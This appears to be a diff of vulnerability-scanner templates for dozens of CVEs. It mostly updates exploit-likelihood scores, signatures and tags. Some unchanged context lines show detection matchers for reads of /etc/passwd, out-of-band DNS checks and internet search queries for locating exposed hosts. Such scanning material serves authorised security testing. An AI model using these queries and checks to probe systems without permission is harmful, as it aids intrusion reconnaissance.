# digest: 490a0046304402206b8e3dd583224b74ea527410d3774e68b25a61d5a3672732950a6dc9c694a07702201888286b4b3c9c9faf510525d47b2b122a4b046f03226fd4c1b1fa3c7e4cfea8:41987585204b393149694b2205534b1a
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2017-1000353
cwe-id: CWE-502
epss-score: 0.99679
epss-percentile: 0.9995
epss-score: 0.99686
epss-percentile: 0.99948
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
metadata:
vendor: jenkins
@@ -108,4 +108,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4a0a0047304502203727c33a8cec447cfa28d7abe98d79e5ab19560b75660d86757b15ddc736ddf3022100ee1d12dbf38026c4c65d2948e7fa5231b1b71cc0cefcb70c9bd2e9f7ca00fba6:922c64590222798bb761d5b6d8e72950
# digest: 4b0a004830460221008910bc02234abc45ab9b1fb4439f3ef5af5db60c5d977de5770944115be930df022100d1f71932410d529654794405ec53fb4a9c0f45414571741a73b6e03adeefc82a:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -20,7 +20,7 @@ info:
cve-id: CVE-2019-0604
cwe-id: CWE-20
epss-score: 0.99913
epss-percentile: 0.99968
epss-percentile: 0.99966
metadata:
verified: true
vendor: microsoft
@@ -156,4 +156,4 @@ code:
- 'contains(interactsh_protocol, "dns")'
- 'contains(interactsh_request, hex_encode(marker))'
condition: and
# digest: 4a0a004730450220186dd8d2216618e89ae4377da563052c973898069450a3ae4d1b4ed98b993e0d022100e4dc6d1f07260b0eadf051bc2cc309a26347a6ad1edb624c655af7b65399d13a:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100c74a382266e9dfdb3d03b6cc09a7cf9ddad7fd5c1fcc3427e624e70f2114eac7022053fa76d4023747107597a44ebb2e2530e2d8d8b913d65d7551c328c33fa2ebb1:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 8.8
cve-id: CVE-2019-14287
cwe-id: CWE-755
epss-score: 0.63764
epss-percentile: 0.99214
epss-score: 0.63917
epss-percentile: 0.99123
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
@@ -51,4 +51,4 @@ code:
- '!contains(code_1_response, "root")'
- 'contains(code_2_response, "root")'
condition: and
# digest: 4b0a00483046022100b139da030f5998da4ff9fbb8cdaf05964e8ecd0406cf5c83d076f1a057ef8efe022100adaaa3689ed36f8adac2349d15eac57317b91d6867c6fe72e52383ae703d5f61:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450221009f95a64653539c27c17d96b8dec42d6a4c345813e34945aec95c8303977ab697022027b0914a15a733ce01ccdace0c37a6e651b2c686144d929736ad3d2254f8e04d:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2020-0646
cwe-id: CWE-91
epss-score: 0.99222
epss-percentile: 0.99935
epss-score: 0.99193
epss-percentile: 0.99929
cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
metadata:
verified: true
@@ -106,4 +106,4 @@ code:
- 'contains(content_type, "text/xml")'
- 'status_code == 200'
condition: and
# digest: 4a0a0047304502206987d50162e5094e8395d966e0c9994bcc274759874a0abfbdbd63eac17971d40221008a5f294f8a7fe9c8119213710c3a31344aaab72da3a5317059d7ef5047e3b591:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502207162f761e3d8ddc260f7d3f67120120f8b615d0a94070bd2fad50ba2d30da7c9022100bac50b9c69fbd7c5dad760e65dd37125ee8d8586bdca7fa75f1b0bafd1912d38:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -14,8 +14,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2020-13935
epss-score: 0.86608
epss-percentile: 0.99737
epss-score: 0.87553
epss-percentile: 0.99736
reference:
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -281,4 +281,4 @@ code:
- type: dsl
dsl:
- "contains_all(stderr, 'read tcp', 'i/o timeout') && !contains(stderr, 'websocket: close 1002 (protocol error): An invalid WebSocket frame was received - the most significant bit of a 64-bit payload was illegally set')"
# digest: 4a0a00473045022100aae1337781595b0ef69df3d5155ad911f38ba16a9e490d06f1d3c70df3c420b402200c9a306193ea0f67838e397e458de411a743464fcb99d60e1e48aca53fdc9ce1:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402201cc078bbe522c2e7e65046d1f57942c4416e145f327b671423c69f8cee335a03022076c19957a2a9ac877638982a59b80c38c454d390ab213de628db7bffb7a402e9:62279eae9ebf191e34eae847adfdbab2
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2021-3156
cwe-id: CWE-193
epss-score: 0.99962
epss-percentile: 0.99975
epss-score: 0.99295
epss-percentile: 0.99933
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
@@ -44,4 +44,4 @@ code:
- "malloc(): memory corruption"
- "Aborted (core dumped)"
condition: and
# digest: 4a0a00473045022100f8b6b3dbad47f66af5e3a10b6ce02164ad35bc0683cdf1aefadc6bfb2107efc502205939d83ced077fdc70296b73e4c840a2fd2f1c2e4cb8fbb1dec6ff7b5953f9ee:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100ab0a7ac942d47cd091d970fb33bf7349e9209b77c786e722f790a2d218f2ca41022100b7848035d28482d955ed57ef2669ef1dfa2b1702be8df9421af1fd6fd469fe2f:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -25,7 +25,7 @@ info:
cve-id: CVE-2022-42475
cwe-id: CWE-197,CWE-787
epss-score: 0.99474
epss-percentile: 0.99943
epss-percentile: 0.99938
cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -287,4 +287,4 @@ code:
- type: word
words:
- "Target appears to be VULNERABLE"
# digest: 4a0a00473045022100af126e9a8b6b757375e6185a23419aef0a8b883b7965b2b8e49d75ee05b0e3ac022042cf546c1c7b4ca8593a08084b26b732a22651e379618b6afa1670ab022f08ab:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402203a594ca86728ad75290e4473c074d814b8eef20d8dae6a0d74a8e34835d9b8ed02202277f1b2746b99d80032baca203562d0d4116d9dd34f0ddf7a6de61ea66dfb0c:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-2640
cwe-id: CWE-863
epss-score: 0.15199
epss-percentile: 0.96728
epss-score: 0.15783
epss-percentile: 0.96475
cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
metadata:
verified: true
@@ -55,4 +55,4 @@ code:
- '!contains(code_1_response, "(root)")'
- 'contains(code_2_response, "(root)")'
condition: and
# digest: 4b0a00483046022100c708d0e83ed241ad23ddc2be957635f6893880b247aa3970b639b92f6bd231e1022100d37192f6e2f655473008ee01ea777e601a9c69f507ed38bdf09ec600514450c3:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502206db6fef55e0ea3720c171e24875022bc0c0b28fa1e8929bdb072f45c0ad3e787022100dedf028ad02b954b6ff47a920377b8a14bf24d77342839802e179f408530a0a0:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -20,8 +20,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-2986
epss-score: 0.42544
epss-percentile: 0.98698
epss-score: 0.41077
epss-percentile: 0.98492
cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
@@ -630,4 +630,4 @@ http:
- type: status
status:
- 302
# digest: 4b0a00483046022100b6e30e9fd117a4fc07c7480cf300fd422e868939493eb5b78e0278b84246d740022100be81aa0c2989471652a65f54d5cb63a0a5c72502944bb990e747593ecd707e4e:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402204d23bc6ccef12b3347fdbd3ddff22740de748e8fe21616207c13d46631915f94022044d6027dd10783cec3bfa982a825a050cb7c0f93c2bed2d5eb4e8af1e3a432ba:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2023-49105
cwe-id: CWE-287
epss-score: 0.4319
epss-percentile: 0.98716
epss-score: 0.11074
epss-percentile: 0.95394
cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
metadata:
max-request: 2
@@ -33,7 +33,7 @@ info:
- http.title:"owncloud"
fofa-query: title="owncloud"
google-query: intitle:"owncloud"
tags: cve,cve2023,code,owncloud,auth-bypass,vuln,vkev,kev
tags: cve,cve2023,code,owncloud,auth-bypass,vuln
variables:
username: admin
@@ -94,4 +94,4 @@ http:
- type: dsl
dsl:
- '"Username => "+ username'
# digest: 4b0a00483046022100e12fe9f8de1e1bfaf8d0eea3ee8eac7f16d50150c808ae185913b2088e4bf0c7022100fc40b4769f32315ea84c709730e83310683d0d2ca3c40c488e03f42f3b9c8562:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022042a5d3d6ba444a5d13ebc2b14e726017a1a1628d159defe06f1fd784754adf4002207eaaf24acd794eef00b23fc181eed45312960ea935f5c00f5783b5675079f80e:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-4911
cwe-id: CWE-787,CWE-122
epss-score: 0.63769
epss-percentile: 0.99215
epss-score: 0.81422
epss-percentile: 0.99594
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -43,4 +43,4 @@ code:
- type: word
words:
- "139" # Segmentation Fault Exit Code
# digest: 4a0a00473045022100d3fd759ba5a9fb1b9fc2838bd8e4d641f4574be41d6b0b54dc966d6940c38d1e02207bd794d332c5b26797ef28172de675a43a24c14f0de6fb25296c5cf1609dd828:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100eebfe3b3bef10d31b6567c5d98fe4ff8a29196ae0bb28b40997cb38a0ac6750202202102070abe91d318e863d75b536aeb56a24ce2adfa23f0e2170cb9a4fad316e4:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2023-6246
cwe-id: CWE-787,CWE-122
epss-score: 0.04794
epss-percentile: 0.91875
epss-percentile: 0.9087
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -43,4 +43,4 @@ code:
- type: word
words:
- "127" # Segmentation Fault Exit Code
# digest: 4a0a0047304502207e1312cc8513492d949d661ccb329025ca8288d49c7799e225da77a8fc5479f0022100a0680ab9b736cd66a07a77a1ceaeb78922c72503476fb7adc4fdd778a738f0d3:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220159eaaa8ffa7ab7226c8015d7e96ddb3267c41b3e684a1ee2d99321f3182fbf9022100e0597ce6c9a0432c3168a1210aefa6b239b053a6b3e6a764e11e7ed807026e7d:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-10443
cwe-id: CWE-77
epss-score: 0.28525
epss-percentile: 0.98117
epss-score: 0.2838
epss-percentile: 0.97889
cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
metadata:
verified: true
@@ -58,4 +58,4 @@ code:
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "dns"
# digest: 490a0046304402201e093c774e6c6df4f35c886cde6126c47dbdb08f59b828beea24461726988de702204578b67fafeb7f377f946b3de7fe791ede72f2a9dae6115128b727464f3803c2:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502207859036fd3efae7fa01fa07b35bf51d43362e12a6a70c185927e3b4751f9375e022100e79b6014d8afb56f5d2a7270963654a1992cfdc281dba772364157f3fd93b60c:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-12356
cwe-id: CWE-77
epss-score: 0.87258
epss-percentile: 0.99749
epss-score: 0.87991
epss-percentile: 0.99746
cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
metadata:
vendor: beyondtrust
@@ -41,4 +41,4 @@ code:
words:
- "0 success"
- "1 try again later"
# digest: 4a0a00473045022067e15beb8fce23fdd76cee85ee495f8de908ada80455b8020c069d44e67f59df022100d0b8018df822348a191715e5d0c46e8a94d2a668295c33faecf15fdb8a280b73:922c64590222798bb761d5b6d8e72950
# digest: 4b0a0048304602210083c79d1d50a22879901fd6304689af4b01f5e9189138c99116c68b6810bb64ee022100b7f44a0aa7ad267068a405202a4842632130902be81b54fb4517952b052035ec:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2024-22120
cwe-id: CWE-20
epss-score: 0.76618
epss-percentile: 0.99539
epss-percentile: 0.99487
metadata:
max-request: 1
vendor: zabbix
@@ -73,4 +73,4 @@ code:
- type: word
words:
- "Vulnerable to CVE-2024-22120"
# digest: 490a0046304402202f286ef7d8437bfa545865f51c399fc8651c59ebaa14f2caeae7bf19a04fcd1e022001a351d50d9db901ebe7162f65d4c2ab1f27d32292df787d18c174f364339b1b:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100c902d7f86bee439e59b7b2480e16fbbf6240b8134c9edd1880769ffd79e23e43022100c956593926cefeeaeecb478bb0b1428fbc47c4b2d6ac5e036a9e34db5f029dcc:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 10
cve-id: CVE-2024-3094
cwe-id: CWE-506
epss-score: 0.909
epss-percentile: 0.99804
epss-score: 0.85974
epss-percentile: 0.99702
cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
metadata:
verified: true
@@ -63,4 +63,4 @@ code:
- type: dsl
dsl:
- response
# digest: 4b0a00483046022100ab686e2c0108b9c0428eeee9c5545a6c9b2d0292319b9250f3784c9121e7bf2f022100846efd5ee90d6d35410b546fc067e48c6374c2316433518419eae7253eebd859:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100ffc100ac65c04f91487e3a92e982153a428d575f636e7847511d7c569e2d5d0a022001e1eaa3c0b5a529a7d2c6987c22c324b74c07e410a64fffc0a85f5150dd0a3b:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -14,8 +14,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2024-4340
epss-score: 0.03237
epss-percentile: 0.88192
epss-score: 0.0321
epss-percentile: 0.86643
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4340
tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -33,4 +33,4 @@ code:
part: stderr
words:
- "RecursionError: maximum recursion depth exceeded"
# digest: 490a004630440220108bafbb29cd6a01fcf31937302d24c3be1b62395adedf684fd9e1fc99ed678a0220596b555efd8f5652dde8ef760d7727718a2465c670a468f0a82862153421aaf8:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100d25e4a13b66e18a70793db50686b8963280b7dc7e988a3480bea6d5700ed191e022032a5a86d1d784015c036d4cc9c56755d26cfdbd5ba7223124c81d91aa37f3d30:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -21,7 +21,7 @@ info:
cve-id: CVE-2024-45409
cwe-id: CWE-347
epss-score: 0.10684
epss-percentile: 0.95777
epss-percentile: 0.95276
metadata:
verified: true
shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 4a0a00473045022100935f3f224d9bacedfd3c7a2729e662f8f9d63237f7ca40405834315e018ce93b02202f368fcaca783d232c78ca301dd372c749d9460d633db4e524495509574e2ddd:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502206fa8f842163f2c409cca1ad291289aca760f9c937aa5f71b1bef63d521082192022100e5a05953d273f8d6e701f1334125461737f1656477e849d32109115c11f4c577:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -19,10 +19,10 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-47575
cwe-id: CWE-306
epss-score: 0.94766
epss-percentile: 0.99858
epss-score: 0.94761
epss-percentile: 0.99848
cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev,vuln
tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev
variables:
HOST: "{{Host}}"
@@ -147,4 +147,4 @@ code:
- type: dsl
dsl:
- response
# digest: 490a0046304402201150d0cdf8e0c6115fd901df3db1b0cd52d433797b5d413d3997a729e9c5632c02205000e87d91f5691fbfd8d123e3a8b8db1064e68f53753ec71d56390b852f8d1e:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100bed3e3eac534344fdb763ef3650cf423ad0ba9827c6bc423e77126ae52bd5816022078f4486cd95a931d57112679778f82328cc62dd2598ac4a2af264495347691a4:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-55556
cwe-id: CWE-502
epss-score: 0.43906
epss-percentile: 0.9874
epss-score: 0.4356
epss-percentile: 0.98582
metadata:
verified: true
max-request: 2
@@ -195,4 +195,4 @@ http:
- type: status
status:
- 500
# digest: 4b0a00483046022100ff85c7adc2a7dc4a2a5d28c2de70fa72e8c33a22bdac525d58af1150d3d494ec022100b4e8150d87cf3892db112ef131cdd2c797269c1e80952a8768edde5e8c4507d5:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502207a771388c0c447bd8a872e34fdcb4c20f7a2e794dd7e3f21eee486acb68449e7022100c62bfe32aedec00d572eaf40222eea80573c4718a6b72b3c944e29de1d0449f3:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 6.8
cve-id: CVE-2024-56331
cwe-id: CWE-22
epss-score: 0.01845
epss-percentile: 0.78895
epss-score: 0.01793
epss-percentile: 0.75773
metadata:
verified: true
shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
- type: word
words:
- "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
# digest: 4a0a00473045022100ad277dd418e00656cbf870c2e843d9a551d2d475ffe48e79eeea50279b80637902202af242ec807b81526f1fd7b8e3f73b6cf9ae6fd14cfcdb5ee80561c1497a3776:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022058dd549617610fd70c3bef78c51b60e727f9ba8a96482936f4d5eb44d3ad3ce2022072257ae6937461320bf62848f0e8885bc06e2add58fb576e39cfabda45b5fad5:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -14,8 +14,8 @@ info:
- https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
- https://github.com/advisories/GHSA-g83h-4727-5rpv
classification:
epss-score: 0.25607
epss-percentile: 0.97944
epss-score: 0.22443
epss-percentile: 0.97411
metadata:
verified: true
shodan-query: title:"GitHub Enterprise"
@@ -192,4 +192,4 @@ http:
- type: kval
kval:
- user_session
# digest: 4b0a00483046022100c0d2b0e37c8394767372f664a932ac82b69070c3d042d99ac7c14943e6b249f9022100fad195cb2f87dd93561e65125738edcb989af13cf92bd329a578de77d0f934ce:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502202e72afd0230955ea7101f82008388d9b886b3c2fb3dc41ec592f3e3f14d0a83a02210096e9bd166ef3522b5cc8c16b9820ddb639cf66363c22c7811aaccb30687e75eb:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -15,11 +15,11 @@ info:
- https://github.com/keras-team/keras/pull/20751
- https://towerofhanoi.it/writeups/cve-2025-1550/
classification:
epss-score: 0.02626
epss-percentile: 0.85372
epss-score: 0.02803
epss-percentile: 0.84774
metadata:
max-request: 1
tags: cve,cve2025,code,keras,rce,ml,vuln
tags: cve,cve2025,code,keras,rce,ml
self-contained: true
@@ -77,4 +77,4 @@ code:
part: response
regex:
- "root:.*:0:0:"
# digest: 490a0046304402206b66692f49fdbb3c84ed9644affed947bc9b1c680e0b41aaf4ef04876a5bd67b02205f2015fa7b8cfa06fb8c3727dcf3f47cd25c8200a224fe57d17cce63a1f031cc:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220397b16b7852b80eff0d9833cb912c5f17137b1ca151ef9e330a544b5df96bfab0220474718d09cac82ed59bb2e36d23e7d638f5f87813fe2e52bd44c5e0c2526472c:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 9.0
cve-id: CVE-2025-22457
cwe-id: CWE-121,CWE-787
epss-score: 0.99981
epss-percentile: 0.99982
epss-score: 0.99979
epss-percentile: 0.9998
cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
metadata:
vendor: ivanti
@@ -164,4 +164,4 @@ code:
- type: word
words:
- "VULNERABLE:"
# digest: 4a0a004730450220584fa62d48d657cdcd7eab2833a9b065c00e29eaac7dbfd9f303b35e7178d603022100849f059aa15daa8eea34326218ac3d22b950586609d5a86d4c2a1918fcfd6e16:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100f71fdb80c77ca24cef2f96ac08cf4cad6896dd9385dcaa60e668b360c8997c4e022040a004ffc2b7df64105151be54efe6b70cb5dba83fea11da5aa9b5edc1738f0e:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 9.3
cve-id: CVE-2025-25291
cwe-id: CWE-347
epss-score: 0.20965
epss-percentile: 0.97544
epss-score: 0.19506
epss-percentile: 0.97043
metadata:
verified: true
vendor: gitlab
@@ -80,4 +80,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 4a0a0047304502206b08437cb8c10a28079ad7bfa2c7ff6029bab624d03bef5a3259de765f8889c8022100f4c3b129d298a804e1b3f92aeefa6ba44e36910d5f35db6d2381d47201fd3c91:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100e2c601dd7e8539fb1cd1a8d57d50bf4220717095b09e8f5129be02d8af437b69022045bb134b59416d6d526a7d108e5741aae74c2b9a5259c6dbf3b550a003fa84ee:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -22,8 +22,8 @@ info:
cvss-score: 10
cve-id: CVE-2025-32433
cwe-id: CWE-306
epss-score: 0.98924
epss-percentile: 0.99927
epss-score: 0.97859
epss-percentile: 0.999
metadata:
verified: true
max-request: 1
@@ -174,4 +174,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4a0a00473045022100f73c5941c82d36fefc97f9070af94ea8949936ed1e457dcc37802f53b6f7f38b02204d6d48f5bbb62eac0d1c08d00b6614ab37771f36c8776548061a05d1e41f99bb:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022021be3e9059264c8820581780565b16fca2ac96911af9f2c90cfe41d5efa21d01022046d1be1a59699ebe8ad15c0ead0bbd72fbc528d106d41a32e27412a85972985d:922c64590222798bb761d5b6d8e72950
+3 -4
View File
@@ -18,8 +18,8 @@ info:
- https://explore.alas.aws.amazon.com/CVE-2025-32463.html
classification:
cve-id: CVE-2025-32463
epss-score: 0.55498
epss-percentile: 0.99029
epss-score: 0.47467
epss-percentile: 0.98699
cvss-score: 9.3
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cwe-id: CWE-426
@@ -44,7 +44,6 @@ code:
words:
- "root"
negative: true
internal: true
- engine:
- sh
@@ -65,4 +64,4 @@ code:
- "!contains(tolower(response), 'password')"
- "!contains(tolower(response), 'a password is required')"
- "!contains(tolower(response), 'is not in the sudoers file')"
# digest: 4a0a00473045022100fbf8996f067da9c86553862995fe6e1c041dabd87f5880c9b288282799d30c0002207af44cb4e5039f1b874632713d3b668e5f7fac271bee2e97058dd31550c2b081:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220136e0b750d94d77ac44ebd9c17cc4b63caefb98466cd8cfaf60285a02339b91c0220283634be0c9a783f5ed4b917983d4e860fc588e568f3b876e4cc5832c75e337c:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-54309
epss-score: 0.93473
epss-percentile: 0.99838
epss-score: 0.92034
epss-percentile: 0.99807
cwe-id: CWE-287,CWE-362
cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
metadata:
@@ -200,4 +200,4 @@ code:
- type: word
words:
- "VULNERABLE:"
# digest: 4a0a0047304502205f38729af5963de59fd877df72dcfabe98813839c575e7b1a5af64926614f9340221009b484346f6caf90503b2ee7ddc8e57f01686d6275deecc08e1e1dd02af05a5b7:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100e8682f6eb18cc49cd7ed9946e1e0df3225844789666f622234e0b55ce31f1ded022100fc067931b6b02b90f0d072f19a5e3a400dfb0a842bdedb8cd71da31370ce3cc1:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -15,8 +15,8 @@ info:
- https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
- https://nvd.nist.gov/vuln/detail/CVE-2025-6216
classification:
epss-score: 0.47775
epss-percentile: 0.98842
epss-score: 0.29434
epss-percentile: 0.97955
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
- type: dsl # type of the extractor
dsl:
- '"Reset URL: " + code_response'
# digest: 4b0a00483046022100de5f38718dae5b72b045ac3562688667e3f39ca7e611ce9d7849c4bf15fa5e9c022100a07c910018b7183b94f8cf89438105a75cf71788817ee3c1c33ee8c1a46b9c2b:922c64590222798bb761d5b6d8e72950
# digest: 4b0a004830460221009563513650966d7597d5c8a5a46d49fcc84fef8e698e57b330209c7771a59eb2022100d88d01c549b914a0710335ce592d29c7af52323cd856699f6780c90afc140b37:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,15 +17,15 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-68926
epss-score: 0.3185
epss-percentile: 0.98289
epss-score: 0.2903
epss-percentile: 0.9793
cwe-id: CWE-798
metadata:
verified: true
max-request: 1
vendor: rustfs
product: rustfs
tags: cve,cve2025,rustfs,grpc,auth-bypass,code,vuln
tags: cve,cve2025,rustfs,grpc,auth-bypass,code
variables:
HOST: "{{Host}}"
@@ -87,4 +87,4 @@ code:
name: version
regex:
- "(\\d+\\.\\d+\\.\\d+-alpha\\.\\d+|grpc-auth-bypass)"
# digest: 490a00463044022033d4920e54dbf59374f09d3f428c8487d4b6ffde389524195e785452970819f902202657b942206e411e34f53162b295185ef629bf233e2237f060701b19cc706b2c:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022015cbdaff0a72de87b3a5238a9133b95eac29d3445d27d1deb3b696b71739d4540221009846fa120f8cff6e1279f73606d6598fa0047298a7f9f01f29663ac5a6795925:2592222ea8b5b5922b8de61fd7ebe9f8
+3 -3
View File
@@ -18,8 +18,8 @@ info:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-6984
epss-score: 0.01647
epss-percentile: 0.76296
epss-score: 0.01531
epss-percentile: 0.71736
cwe-id: CWE-200
metadata:
verified: true
@@ -64,4 +64,4 @@ code:
- "bin:"
- "daemon:"
condition: or
# digest: 4a0a0047304502210094e968c56057b475398c378ca693ed58f13fb5a1baf33d7bf0f19d259ce3b72802201e71e115bfc9c9e277f5b2c4bcdd35312610c2410bf7115786b8c735f506e7c8:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100b09735eee11bf2f17bfa345f0063b39ae6aa19e66bf2bc5fb1daefffced2bcd3022100a9c2a04c4d2d7a5beee4a942bcf043c172b2c2f2a5b4fb55dc326a0ee36dcd98:922c64590222798bb761d5b6d8e72950
+1 -1
View File
@@ -112,4 +112,4 @@ code:
regex:
- '\|(.+)$'
group: 1
# digest: 4a0a0047304502205a98076bd98ac3fc7ec235582bbcce6cf4c21d5c125a581beb8fda6b2460b81e022100a0fcae46a204a4cd489c200e00c0b4f718ea624785f470230c91247ee0460057:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100b2877e84e37d0dc5c41842be512b9309b95d850ad6474ae80a32462e6b81cfc60220533db7a89ed2ce39c410359b308c5bd8cac3d59d485712154572c64c2c94b5a9:41987585204b393149694b2205534b1a
+4 -4
View File
@@ -18,13 +18,13 @@ info:
cvss-score: 9.8
cve-id: CVE-2025-9242
cwe-id: CWE-787,CWE-362
epss-score: 0.91804
epss-percentile: 0.99815
epss-score: 0.8637
epss-percentile: 0.99709
